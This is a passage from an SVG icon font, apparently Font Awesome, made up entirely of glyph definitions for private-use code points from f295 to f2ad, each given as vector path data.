d="M596 113l173 172l-173 172v-344zM596 823l173 172l-173 172v-344zM628 640l356 -356l-539 -540v711l-297 -296l-108 108l372 373l-372 373l108 108l297 -296v711l539 -540z" />
    <glyph glyph-name="_620" unicode="&#xf295;" 
d="M1280 256q0 52 -38 90t-90 38t-90 -38t-38 -90t38 -90t90 -38t90 38t38 90zM512 1024q0 52 -38 90t-90 38t-90 -38t-38 -90t38 -90t90 -38t90 38t38 90zM1536 256q0 -159 -112.5 -271.5t-271.5 -112.5t-271.5 112.5t-112.5 271.5t112.5 271.5t271.5 112.5t271.5 -112.5
t112.5 -271.5zM1440 1344q0 -20 -13 -38l-1056 -1408q-19 -26 -51 -26h-160q-26 0 -45 19t-19 45q0 20 13 38l1056 1408q19 26 51 26h160q26 0 45 -19t19 -45zM768 1024q0 -159 -112.5 -271.5t-271.5 -112.5t-271.5 112.5t-112.5 271.5t112.5 271.5t271.5 112.5
t271.5 -112.5t112.5 -271.5z" />
    <glyph glyph-name="_621" unicode="&#xf296;" horiz-adv-x="1792" 
d="M104 830l792 -1015l-868 630q-18 13 -25 34.5t0 42.5l101 308v0zM566 830h660l-330 -1015v0zM368 1442l198 -612h-462l198 612q8 23 33 23t33 -23zM1688 830l101 -308q7 -21 0 -42.5t-25 -34.5l-868 -630l792 1015v0zM1688 830h-462l198 612q8 23 33 23t33 -23z" />
    <glyph glyph-name="_622" unicode="&#xf297;" horiz-adv-x="1792" 
d="M384 704h160v224h-160v-224zM1221 372v92q-104 -36 -243 -38q-135 -1 -259.5 46.5t-220.5 122.5l1 -96q88 -80 212 -128.5t272 -47.5q129 0 238 49zM640 704h640v224h-640v-224zM1792 736q0 -187 -99 -352q89 -102 89 -229q0 -157 -129.5 -268t-313.5 -111
q-122 0 -225 52.5t-161 140.5q-19 -1 -57 -1t-57 1q-58 -88 -161 -140.5t-225 -52.5q-184 0 -313.5 111t-129.5 268q0 127 89 229q-99 165 -99 352q0 209 120 385.5t326.5 279.5t449.5 103t449.5 -103t326.5 -279.5t120 -385.5z" />
    <glyph glyph-name="_623" unicode="&#xf298;" 
d="M515 625v-128h-252v128h252zM515 880v-127h-252v127h252zM1273 369v-128h-341v128h341zM1273 625v-128h-672v128h672zM1273 880v-127h-672v127h672zM1408 20v1240q0 8 -6 14t-14 6h-32l-378 -256l-210 171l-210 -171l-378 256h-32q-8 0 -14 -6t-6 -14v-1240q0 -8 6 -14
t14 -6h1240q8 0 14 6t6 14zM553 1130l185 150h-406zM983 1130l221 150h-406zM1536 1260v-1240q0 -62 -43 -105t-105 -43h-1240q-62 0 -105 43t-43 105v1240q0 62 43 105t105 43h1240q62 0 105 -43t43 -105z" />
    <glyph glyph-name="_624" unicode="&#xf299;" horiz-adv-x="1792" 
d="M896 720q-104 196 -160 278q-139 202 -347 318q-34 19 -70 36q-89 40 -94 32t34 -38l39 -31q62 -43 112.5 -93.5t94.5 -116.5t70.5 -113t70.5 -131q9 -17 13 -25q44 -84 84 -153t98 -154t115.5 -150t131 -123.5t148.5 -90.5q153 -66 154 -60q1 3 -49 37q-53 36 -81 57
q-77 58 -179 211t-185 310zM549 177q-76 60 -132.5 125t-98 143.5t-71 154.5t-58.5 186t-52 209t-60.5 252t-76.5 289q273 0 497.5 -36t379 -92t271 -144.5t185.5 -172.5t110 -198.5t56 -199.5t12.5 -198.5t-9.5 -173t-20 -143.5t-13 -107l323 -327h-104l-281 285
q-22 -2 -91.5 -14t-121.5 -19t-138 -6t-160.5 17t-167.5 59t-179 111z" />
    <glyph glyph-name="_625" unicode="&#xf29a;" horiz-adv-x="1792" 
d="M1374 879q-6 26 -28.5 39.5t-48.5 7.5q-261 -62 -401 -62t-401 62q-26 6 -48.5 -7.5t-28.5 -39.5t7.5 -48.5t39.5 -28.5q194 -46 303 -58q-2 -158 -15.5 -269t-26.5 -155.5t-41 -115.5l-9 -21q-10 -25 1 -49t36 -34q9 -4 23 -4q44 0 60 41l8 20q54 139 71 259h42
q17 -120 71 -259l8 -20q16 -41 60 -41q14 0 23 4q25 10 36 34t1 49l-9 21q-28 71 -41 115.5t-26.5 155.5t-15.5 269q109 12 303 58q26 6 39.5 28.5t7.5 48.5zM1024 1024q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5z
M1600 640q0 -143 -55.5 -273.5t-150 -225t-225 -150t-273.5 -55.5t-273.5 55.5t-225 150t-150 225t-55.5 273.5t55.5 273.5t150 225t225 150t273.5 55.5t273.5 -55.5t225 -150t150 -225t55.5 -273.5zM896 1408q-156 0 -298 -61t-245 -164t-164 -245t-61 -298t61 -298
t164 -245t245 -164t298 -61t298 61t245 164t164 245t61 298t-61 298t-164 245t-245 164t-298 61zM1792 640q0 -182 -71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
    <glyph glyph-name="_626" unicode="&#xf29b;" 
d="M1438 723q34 -35 29 -82l-44 -551q-4 -42 -34.5 -70t-71.5 -28q-6 0 -9 1q-44 3 -72.5 36.5t-25.5 77.5l35 429l-143 -8q55 -113 55 -240q0 -216 -148 -372l-137 137q91 101 91 235q0 145 -102.5 248t-247.5 103q-134 0 -236 -92l-137 138q120 114 284 141l264 300
l-149 87l-181 -161q-33 -30 -77 -27.5t-73 35.5t-26.5 77t34.5 73l239 213q26 23 60 26.5t64 -14.5l488 -283q36 -21 48 -68q17 -67 -26 -117l-205 -232l371 20q49 3 83 -32zM1240 1180q-74 0 -126 52t-52 126t52 126t126 52t126.5 -52t52.5 -126t-52.5 -126t-126.5 -52z
M613 -62q106 0 196 61l139 -139q-146 -116 -335 -116q-148 0 -273.5 73t-198.5 198t-73 273q0 188 116 336l139 -139q-60 -88 -60 -197q0 -145 102.5 -247.5t247.5 -102.5z" />
    <glyph glyph-name="_627" unicode="&#xf29c;" 
d="M880 336v-160q0 -14 -9 -23t-23 -9h-160q-14 0 -23 9t-9 23v160q0 14 9 23t23 9h160q14 0 23 -9t9 -23zM1136 832q0 -50 -15 -90t-45.5 -69t-52 -44t-59.5 -36q-32 -18 -46.5 -28t-26 -24t-11.5 -29v-32q0 -14 -9 -23t-23 -9h-160q-14 0 -23 9t-9 23v68q0 35 10.5 64.5
t24 47.5t39 35.5t41 25.5t44.5 21q53 25 75 43t22 49q0 42 -43.5 71.5t-95.5 29.5q-56 0 -95 -27q-29 -20 -80 -83q-9 -12 -25 -12q-11 0 -19 6l-108 82q-10 7 -12 20t5 23q122 192 349 192q129 0 238.5 -89.5t109.5 -214.5zM768 1280q-130 0 -248.5 -51t-204 -136.5
t-136.5 -204t-51 -248.5t51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5t136.5 204t51 248.5t-51 248.5t-136.5 204t-204 136.5t-248.5 51zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5
t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="_628" unicode="&#xf29d;" horiz-adv-x="1408" 
d="M366 1225q-64 0 -110 45.5t-46 110.5q0 64 46 109.5t110 45.5t109.5 -45.5t45.5 -109.5q0 -65 -45.5 -110.5t-109.5 -45.5zM917 583q0 -50 -30 -67.5t-63.5 -6.5t-47.5 34l-367 438q-7 12 -14 15.5t-11 1.5l-3 -3q-7 -8 4 -21l122 -139l1 -354l-161 -457
q-67 -192 -92 -234q-15 -26 -28 -32q-50 -26 -103 -1q-29 13 -41.5 43t-9.5 57q2 17 197 618l5 416l-85 -164l35 -222q4 -24 -1 -42t-14 -27.5t-19 -16t-17 -7.5l-7 -2q-19 -3 -34.5 3t-24 16t-14 22t-7.5 19.5t-2 9.5l-46 299l211 381q23 34 113 34q75 0 107 -40l424 -521
q7 -5 14 -17l3 -3l-1 -1q7 -13 7 -29zM514 433q43 -113 88.5 -225t69.5 -168l24 -55q36 -93 42 -125q11 -70 -36 -97q-35 -22 -66 -16t-51 22t-29 35h-1q-6 16 -8 25l-124 351zM1338 -159q31 -49 31 -57q0 -5 -3 -7q-9 -5 -14.5 0.5t-15.5 26t-16 30.5q-114 172 -423 661
q3 -1 7 1t7 4l3 2q11 9 11 17z" />
    <glyph glyph-name="_629" unicode="&#xf29e;" horiz-adv-x="2304" 
d="M504 542h171l-1 265zM1530 641q0 87 -50.5 140t-146.5 53h-54v-388h52q91 0 145 57t54 138zM956 1018l1 -756q0 -14 -9.5 -24t-23.5 -10h-216q-14 0 -23.5 10t-9.5 24v62h-291l-55 -81q-10 -15 -28 -15h-267q-21 0 -30.5 18t3.5 35l556 757q9 14 27 14h332q14 0 24 -10
t10 -24zM1783 641q0 -193 -125.5 -303t-324.5 -110h-270q-14 0 -24 10t-10 24v756q0 14 10 24t24 10h268q200 0 326 -109t126 -302zM1939 640q0 -11 -0.5 -29t-8 -71.5t-21.5 -102t-44.5 -108t-73.5 -102.5h-51q38 45 66.5 104.5t41.5 112t21 98t9 72.5l1 27q0 8 -0.5 22.5
t-7.5 60t-20 91.5t-41 111.5t-66 124.5h43q41 -47 72 -107t45.5 -111.5t23 -96t10.5 -70.5zM2123 640q0 -11 -0.5 -29t-8 -71.5t-21.5 -102t-45 -108t-74 -102.5h-51q38 45 66.5 104.5t41.5 112t21 98t9 72.5l1 27q0 8 -0.5 22.5t-7.5 60t-19.5 91.5t-40.5 111.5t-66 124.5
h43q41 -47 72 -107t45.5 -111.5t23 -96t10.5 -70.5zM2304 640q0 -11 -0.5 -29t-8 -71.5t-21.5 -102t-44.5 -108t-73.5 -102.5h-51q38 45 66 104.5t41 112t21 98t9 72.5l1 27q0 8 -0.5 22.5t-7.5 60t-19.5 91.5t-40.5 111.5t-66 124.5h43q41 -47 72 -107t45.5 -111.5t23 -96
t9.5 -70.5z" />
    <glyph glyph-name="uniF2A0" unicode="&#xf2a0;" horiz-adv-x="1408" 
d="M617 -153q0 11 -13 58t-31 107t-20 69q-1 4 -5 26.5t-8.5 36t-13.5 21.5q-15 14 -51 14q-23 0 -70 -5.5t-71 -5.5q-34 0 -47 11q-6 5 -11 15.5t-7.5 20t-6.5 24t-5 18.5q-37 128 -37 255t37 255q1 4 5 18.5t6.5 24t7.5 20t11 15.5q13 11 47 11q24 0 71 -5.5t70 -5.5
q36 0 51 14q9 8 13.5 21.5t8.5 36t5 26.5q2 9 20 69t31 107t13 58q0 22 -43.5 52.5t-75.5 42.5q-20 8 -45 8q-34 0 -98 -18q-57 -17 -96.5 -40.5t-71 -66t-46 -70t-45.5 -94.5q-6 -12 -9 -19q-49 -107 -68 -216t-19 -244t19 -244t68 -216q56 -122 83 -161q63 -91 179 -127
l6 -2q64 -18 98 -18q25 0 45 8q32 12 75.5 42.5t43.5 52.5zM776 760q-26 0 -45 19t-19 45.5t19 45.5q37 37 37 90q0 52 -37 91q-19 19 -19 45t19 45t45 19t45 -19q75 -75 75 -181t-75 -181q-21 -19 -45 -19zM957 579q-27 0 -45 19q-19 19 -19 45t19 45q112 114 112 272
t-112 272q-19 19 -19 45t19 45t45 19t45 -19q150 -150 150 -362t-150 -362q-18 -19 -45 -19zM1138 398q-27 0 -45 19q-19 19 -19 45t19 45q90 91 138.5 208t48.5 245t-48.5 245t-138.5 208q-19 19 -19 45t19 45t45 19t45 -19q109 -109 167 -249t58 -294t-58 -294t-167 -249
q-18 -19 -45 -19z" />
    <glyph glyph-name="uniF2A1" unicode="&#xf2a1;" horiz-adv-x="2176" 
d="M192 352q-66 0 -113 -47t-47 -113t47 -113t113 -47t113 47t47 113t-47 113t-113 47zM704 352q-66 0 -113 -47t-47 -113t47 -113t113 -47t113 47t47 113t-47 113t-113 47zM704 864q-66 0 -113 -47t-47 -113t47 -113t113 -47t113 47t47 113t-47 113t-113 47zM1472 352
q-66 0 -113 -47t-47 -113t47 -113t113 -47t113 47t47 113t-47 113t-113 47zM1984 352q-66 0 -113 -47t-47 -113t47 -113t113 -47t113 47t47 113t-47 113t-113 47zM1472 864q-66 0 -113 -47t-47 -113t47 -113t113 -47t113 47t47 113t-47 113t-113 47zM1984 864
q-66 0 -113 -47t-47 -113t47 -113t113 -47t113 47t47 113t-47 113t-113 47zM1984 1376q-66 0 -113 -47t-47 -113t47 -113t113 -47t113 47t47 113t-47 113t-113 47zM384 192q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM896 192q0 -80 -56 -136
t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM384 704q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM896 704q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM384 1216q0 -80 -56 -136t-136 -56
t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM1664 192q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM896 1216q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM2176 192q0 -80 -56 -136t-136 -56t-136 56
t-56 136t56 136t136 56t136 -56t56 -136zM1664 704q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM2176 704q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM1664 1216q0 -80 -56 -136t-136 -56t-136 56t-56 136
t56 136t136 56t136 -56t56 -136zM2176 1216q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136z" />
    <glyph glyph-name="uniF2A2" unicode="&#xf2a2;" horiz-adv-x="1792" 
d="M128 -192q0 -26 -19 -45t-45 -19t-45 19t-19 45t19 45t45 19t45 -19t19 -45zM320 0q0 -26 -19 -45t-45 -19t-45 19t-19 45t19 45t45 19t45 -19t19 -45zM365 365l256 -256l-90 -90l-256 256zM704 384q0 -26 -19 -45t-45 -19t-45 19t-19 45t19 45t45 19t45 -19t19 -45z
M1411 704q0 -59 -11.5 -108.5t-37.5 -93.5t-44 -67.5t-53 -64.5q-31 -35 -45.5 -54t-33.5 -50t-26.5 -64t-7.5 -74q0 -159 -112.5 -271.5t-271.5 -112.5q-26 0 -45 19t-19 45t19 45t45 19q106 0 181 75t75 181q0 57 11.5 105.5t37 91t43.5 66.5t52 63q40 46 59.5 72
t37.5 74.5t18 103.5q0 185 -131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5q0 -26 -19 -45t-45 -19t-45 19t-19 45q0 117 45.5 223.5t123 184t184 123t223.5 45.5t223.5 -45.5t184 -123t123 -184t45.5 -223.5zM896 576q0 -26 -19 -45t-45 -19t-45 19t-19 45t19 45
t45 19t45 -19t19 -45zM1184 704q0 -26 -19 -45t-45 -19t-45 19t-19 45q0 93 -65.5 158.5t-158.5 65.5q-92 0 -158 -65.5t-66 -158.5q0 -26 -19 -45t-45 -19t-45 19t-19 45q0 146 103 249t249 103t249 -103t103 -249zM1578 993q10 -25 -1 -49t-36 -34q-9 -4 -23 -4
q-19 0 -35.5 11t-23.5 30q-68 178 -224 295q-21 16 -25 42t12 47q17 21 43 25t47 -12q183 -137 266 -351zM1788 1074q9 -25 -1.5 -49t-35.5 -34q-11 -4 -23 -4q-44 0 -60 41q-92 238 -297 393q-22 16 -25.5 42t12.5 47q16 22 42 25.5t47 -12.5q235 -175 341 -449z" />
    <glyph glyph-name="uniF2A3" unicode="&#xf2a3;" horiz-adv-x="2304" 
d="M1032 576q-59 2 -84 55q-17 34 -48 53.5t-68 19.5q-53 0 -90.5 -37.5t-37.5 -90.5q0 -56 36 -89l10 -8q34 -31 82 -31q37 0 68 19.5t48 53.5q25 53 84 55zM1600 704q0 56 -36 89l-10 8q-34 31 -82 31q-37 0 -68 -19.5t-48 -53.5q-25 -53 -84 -55q59 -2 84 -55
q17 -34 48 -53.5t68 -19.5q53 0 90.5 37.5t37.5 90.5zM1174 925q-17 -35 -55 -48t-73 4q-62 31 -134 31q-51 0 -99 -17q3 0 9.5 0.5t9.5 0.5q92 0 170.5 -50t118.5 -133q17 -36 3.5 -73.5t-49.5 -54.5q-18 -9 -39 -9q21 0 39 -9q36 -17 49.5 -54.5t-3.5 -73.5
q-40 -83 -118.5 -133t-170.5 -50h-6q-16 2 -44 4l-290 27l-239 -120q-14 -7 -29 -7q-40 0 -57 35l-160 320q-11 23 -4 47.5t29 37.5l209 119l148 267q17 155 91.5 291.5t195.5 236.5q31 25 70.5 21.5t64.5 -34.5t21.5 -70t-34.5 -65q-70 -59 -117 -128q123 84 267 101
q40 5 71.5 -19t35.5 -64q5 -40 -19 -71.5t-64 -35.5q-84 -10 -159 -55q46 10 99 10q115 0 218 -50q36 -18 49 -55.5t-5 -73.5zM2137 1085l160 -320q11 -23 4 -47.5t-29 -37.5l-209 -119l-148 -267q-17 -155 -91.5 -291.5t-195.5 -236.5q-26 -22 -61 -22q-45 0 -74 35
q-25 31 -21.5 70t34.5 65q70 59 117 128q-123 -84 -267 -101q-4 -1 -12 -1q-36 0 -63.5 24t-31.5 60q-5 40 19 71.5t64 35.5q84 10 159 55q-46 -10 -99 -10q-115 0 -218 50q-36 18 -49 55.5t5 73.5q17 35 55 48t73 -4q62 -31 134 -31q51 0 99 17q-3 0 -9.5 -0.5t-9.5 -0.5
q-92 0 -170.5 50t-118.5 133q-17 36 -3.5 73.5t49.5 54.5q18 9 39 9q-21 0 -39 9q-36 17 -49.5 54.5t3.5 73.5q40 83 118.5 133t170.5 50h6h1q14 -2 42 -4l291 -27l239 120q14 7 29 7q40 0 57 -35z" />
    <glyph glyph-name="uniF2A4" unicode="&#xf2a4;" horiz-adv-x="1792" 
d="M1056 704q0 -26 19 -45t45 -19t45 19t19 45q0 146 -103 249t-249 103t-249 -103t-103 -249q0 -26 19 -45t45 -19t45 19t19 45q0 93 66 158.5t158 65.5t158 -65.5t66 -158.5zM835 1280q-117 0 -223.5 -45.5t-184 -123t-123 -184t-45.5 -223.5q0 -26 19 -45t45 -19t45 19
t19 45q0 185 131.5 316.5t316.5 131.5t316.5 -131.5t131.5 -316.5q0 -55 -18 -103.5t-37.5 -74.5t-59.5 -72q-34 -39 -52 -63t-43.5 -66.5t-37 -91t-11.5 -105.5q0 -106 -75 -181t-181 -75q-26 0 -45 -19t-19 -45t19 -45t45 -19q159 0 271.5 112.5t112.5 271.5q0 41 7.5 74
t26.5 64t33.5 50t45.5 54q35 41 53 64.5t44 67.5t37.5 93.5t11.5 108.5q0 117 -45.5 223.5t-123 184t-184 123t-223.5 45.5zM591 561l226 -226l-579 -579q-12 -12 -29 -12t-29 12l-168 168q-12 12 -12 29t12 29zM1612 1524l168 -168q12 -12 12 -29t-12 -30l-233 -233
l-26 -25l-71 -71q-66 153 -195 258l91 91l207 207q13 12 30 12t29 -12z" />
    <glyph glyph-name="uniF2A5" unicode="&#xf2a5;" 
d="M866 1021q0 -27 -13 -94q-11 -50 -31.5 -150t-30.5 -150q-2 -11 -4.5 -12.5t-13.5 -2.5q-20 -2 -31 -2q-58 0 -84 49.5t-26 113.5q0 88 35 174t103 124q28 14 51 14q28 0 36.5 -16.5t8.5 -47.5zM1352 597q0 14 -39 75.5t-52 66.5q-21 8 -34 8q-91 0 -226 -77l-2 2
q3 22 27.5 135t24.5 178q0 233 -242 233q-24 0 -68 -6q-94 -17 -168.5 -89.5t-111.5 -166.5t-37 -189q0 -146 80.5 -225t227.5 -79q25 0 25 -3t-1 -5q-4 -34 -26 -117q-14 -52 -51.5 -101t-82.5 -49q-42 0 -42 47q0 24 10.5 47.5t25 39.5t29.5 28.5t26 20t11 8.5q0 3 -7 10
q-24 22 -58.5 36.5t-65.5 14.5q-35 0 -63.5 -34t-41 -75t-12.5 -75q0 -88 51.5 -142t138.5 -54q82 0 155 53t117.5 126t65.5 153q6 22 15.5 66.5t14.5 66.5q3 12 14 18q118 60 227 60q48 0 127 -18q1 -1 4 -1q5 0 9.5 4.5t4.5 8.5zM1536 1120v-960q0 -119 -84.5 -203.5
t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="uniF2A6" unicode="&#xf2a6;" horiz-adv-x="1535" 
d="M744 1231q0 24 -2 38.5t-8.5 30t-21 23t-37.5 7.5q-39 0 -78 -23q-105 -58 -159 -190.5t-54 -269.5q0 -44 8.5 -85.5t26.5 -80.5t52.5 -62.5t81.5 -23.5q4 0 18 -0.5t20 0t16 3t15 8.5t7 16q16 77 48 231.5t48 231.5q19 91 19 146zM1498 575q0 -7 -7.5 -13.5t-15.5 -6.5
l-6 1q-22 3 -62 11t-72 12.5t-63 4.5q-167 0 -351 -93q-15 -8 -21 -27q-10 -36 -24.5 -105.5t-22.5 -100.5q-23 -91 -70 -179.5t-112.5 -164.5t-154.5 -123t-185 -47q-135 0 -214.5 83.5t-79.5 219.5q0 53 19.5 117t63 116.5t97.5 52.5q38 0 120 -33.5t83 -61.5
q0 -1 -16.5 -12.5t-39.5 -31t-46 -44.5t-39 -61t-16 -74q0 -33 16.5 -53t48.5 -20q45 0 85 31.5t66.5 78t48 105.5t32.5 107t16 90v9q0 2 -3.5 3.5t-8.5 1.5h-10t-10 -0.5t-6 -0.5q-227 0 -352 122.5t-125 348.5q0 108 34.5 221t96 210t156 167.5t204.5 89.5q52 9 106 9
q374 0 374 -360q0 -98 -38 -273t-43 -211l3 -3q101 57 182.5 88t167.5 31q22 0 53 -13q19 -7 80 -102.5t61 -116.5z" />
    <glyph glyph-name="uniF2A7" unicode="&#xf2a7;" horiz-adv-x="1664" 
d="M831 863q32 0 59 -18l222 -148q61 -40 110 -97l146 -170q40 -46 29 -106l-72 -413q-6 -32 -29.5 -53.5t-55.5 -25.5l-527 -56l-352 -32h-9q-39 0 -67.5 28t-28.5 68q0 37 27 64t65 32l260 32h-448q-41 0 -69.5 30t-26.5 71q2 39 32 65t69 26l442 1l-521 64q-41 5 -66 37
t-19 73q6 35 34.5 57.5t65.5 22.5h10l481 -60l-351 94q-38 10 -62 41.5t-18 68.5q6 36 33 58.5t62 22.5q6 0 20 -2l448 -96l217 -37q1 0 3 -0.5t3 -0.5q23 0 30.5 23t-12.5 36l-186 125q-35 23 -42 63.5t18 73.5q27 38 76 38zM761 661l186 -125l-218 37l-5 2l-36 38
l-238 262q-1 1 -2.5 3.5t-2.5 3.5q-24 31 -18.5 70t37.5 64q31 23 68 17.5t64 -33.5l142 -147q-2 -1 -5 -3.5t-4 -4.5q-32 -45 -23 -99t55 -85zM1648 1115l15 -266q4 -73 -11 -147l-48 -219q-12 -59 -67 -87l-106 -54q2 62 -39 109l-146 170q-53 61 -117 103l-222 148
q-34 23 -76 23q-51 0 -88 -37l-235 312q-25 33 -18 73.5t41 63.5q33 22 71.5 14t62.5 -40l266 -352l-262 455q-21 35 -10.5 75t47.5 59q35 18 72.5 6t57.5 -46l241 -420l-136 337q-15 35 -4.5 74t44.5 56q37 19 76 6t56 -51l193 -415l101 -196q8 -15 23 -17.5t27 7.5t11 26
l-12 224q-2 41 26 71t69 31q39 0 67 -28.5t30 -67.5z" />
    <glyph glyph-name="uniF2A8" unicode="&#xf2a8;" horiz-adv-x="1792" 
d="M335 180q-2 0 -6 2q-86 57 -168.5 145t-139.5 180q-21 30 -21 69q0 9 2 19t4 18t7 18t8.5 16t10.5 17t10 15t12 15.5t11 14.5q184 251 452 365q-110 198 -110 211q0 19 17 29q116 64 128 64q18 0 28 -16l124 -229q92 19 192 19q266 0 497.5 -137.5t378.5 -369.5
q20 -31 20 -69t-20 -69q-91 -142 -218.5 -253.5t-278.5 -175.5q110 -198 110 -211q0 -20 -17 -29q-116 -64 -127 -64q-19 0 -29 16l-124 229l-64 119l-444 820l7 7q-58 -24 -99 -47q3 -5 127 -234t243 -449t119 -223q0 -7 -9 -9q-13 -3 -72 -3q-57 0 -60 7l-456 841
q-39 -28 -82 -68q24 -43 214 -393.5t190 -354.5q0 -10 -11 -10q-14 0 -82.5 22t-72.5 28l-106 197l-224 413q-44 -53 -78 -106q2 -3 18 -25t23 -34l176 -327q0 -10 -10 -10zM1165 282l49 -91q273 111 450 385q-180 277 -459 389q67 -64 103 -148.5t36 -176.5
q0 -106 -47 -200.5t-132 -157.5zM848 896q0 -20 14 -34t34 -14q86 0 147 -61t61 -147q0 -20 14 -34t34 -14t34 14t14 34q0 126 -89 215t-215 89q-20 0 -34 -14t-14 -34zM1214 961l-9 4l7 -7z" />
    <glyph glyph-name="uniF2A9" unicode="&#xf2a9;" horiz-adv-x="1280" 
d="M1050 430q0 -215 -147 -374q-148 -161 -378 -161q-232 0 -378 161q-147 159 -147 374q0 147 68 270.5t189 196.5t268 73q96 0 182 -31q-32 -62 -39 -126q-66 28 -143 28q-167 0 -280.5 -123t-113.5 -291q0 -170 112.5 -288.5t281.5 -118.5t281 118.5t112 288.5
q0 89 -32 166q66 13 123 49q41 -98 41 -212zM846 619q0 -192 -79.5 -345t-238.5 -253l-14 -1q-29 0 -62 5q83 32 146.5 102.5t99.5 154.5t58.5 189t30 192.5t7.5 178.5q0 69 -3 103q55 -160 55 -326zM791 947v-2q-73 214 -206 440q88 -59 142.5 -186.5t63.5 -251.5z
M1035 744q-83 0 -160 75q218 120 290 247q19 37 21 56q-42 -94 -139.5 -166.5t-204.5 -97.5q-35 54 -35 113q0 37 17 79t43 68q46 44 157 74q59 16 106 58.5t74 100.5q74 -105 74 -253q0 -109 -24 -170q-32 -77 -88.5 -130.5t-130.5 -53.5z" />
    <glyph glyph-name="uniF2AA" unicode="&#xf2aa;" 
d="M1050 495q0 78 -28 147q-41 -25 -85 -34q22 -50 22 -114q0 -117 -77 -198.5t-193 -81.5t-193.5 81.5t-77.5 198.5q0 115 78 199.5t193 84.5q53 0 98 -19q4 43 27 87q-60 21 -125 21q-154 0 -257.5 -108.5t-103.5 -263.5t103.5 -261t257.5 -106t257.5 106.5t103.5 260.5z
M872 850q2 -24 2 -71q0 -63 -5 -123t-20.5 -132.5t-40.5 -130t-68.5 -106t-100.5 -70.5q21 -3 42 -3h10q219 139 219 411q0 116 -38 225zM872 850q-4 80 -44 171.5t-98 130.5q92 -156 142 -302zM1207 955q0 102 -51 174q-41 -86 -124 -109q-69 -19 -109 -53.5t-40 -99.5
q0 -40 24 -77q74 17 140.5 67t95.5 115q-4 -52 -74.5 -111.5t-138.5 -97.5q52 -52 110 -52q51 0 90 37t60 90q17 42 17 117zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5
t84.5 -203.5z" />
    <glyph glyph-name="uniF2AB" unicode="&#xf2ab;" 
d="M1279 388q0 22 -22 27q-67 15 -118 59t-80 108q-7 19 -7 25q0 15 19.5 26t43 17t43 20.5t19.5 36.5q0 19 -18.5 31.5t-38.5 12.5q-12 0 -32 -8t-31 -8q-4 0 -12 2q5 95 5 114q0 79 -17 114q-36 78 -103 121.5t-152 43.5q-199 0 -275 -165q-17 -35 -17 -114q0 -19 5 -114
q-4 -2 -14 -2q-12 0 -32 7.5t-30 7.5q-21 0 -38.5 -12t-17.5 -32q0 -21 19.5 -35.5t43 -20.5t43 -17t19.5 -26q0 -6 -7 -25q-64 -138 -198 -167q-22 -5 -22 -27q0 -46 137 -68q2 -5 6 -26t11.5 -30.5t23.5 -9.5q12 0 37.5 4.5t39.5 4.5q35 0 67 -15t54 -32.5t57.5 -32.5
t76.5 -15q43 0 79 15t57.5 32.5t53.5 32.5t67 15q14 0 39.5 -4t38.5 -4q16 0 23 10t11 30t6 25q137 22 137 68zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5
t103 -385.5z" />
    <glyph glyph-name="uniF2AC" unicode="&#xf2ac;" horiz-adv-x="1664" 
d="M848 1408q134 1 240.5 -68.5t163.5 -192.5q27 -58 27 -179q0 -47 -9 -191q14 -7 28 -7q18 0 51 13.5t51 13.5q29 0 56 -18t27 -46q0 -32 -31.5 -54t-69 -31.5t-69 -29t-31.5 -47.5q0 -15 12 -43q37 -82 102.5 -150t144.5 -101q28 -12 80 -23q28 -6 28 -35
q0 -70 -219 -103q-7 -11 -11 -39t-14 -46.5t-33 -18.5q-20 0 -62 6.5t-64 6.5q-37 0 -62 -5q-32 -5 -63 -22.5t-58 -38t-58 -40.5t-76 -33.5t-99 -13.5q-52 0 -96.5 13.5t-75 33.5t-57.5 40.5t-58 38t-62 22.5q-26 5 -63 5q-24 0 -65.5 -7.5t-58.5 -7.5q-25 0 -35 18.5
t-14 47.5t-11 40q-219 33 -219 103q0 29 28 35q52 11 80 23q78 32 144.5 101t102.5 150q12 28 12 43q0 28 -31.5 47.5t-69.5 29.5t-69.5 31.5t-31.5 52.5q0 27 26 45.5t55 18.5q15 0 48 -13t53 -13q18 0 32 7q-9 142 -9 190q0 122 27 180q64 137 172 198t264 63z" />
    <glyph glyph-name="uniF2AD" unicode="&#xf2ad;" 
d="M1280 388q0 22 -22 27q-67 14 -118 58t-80 109q-7 14 -7 25q0 15 19.5 26t42.5 17t42.5 20.5t19.5 36.5q0 19 -18.5 31.5t-38.5 12.5q-11 0 -31 -8t-32 -8q-4 0 -12 2q5 63 5 115q0 78 -17 114q-36 78 -102.5 121.5t-152.5 43.5q-198 0 -275 -165q-18 -38 -18 -115
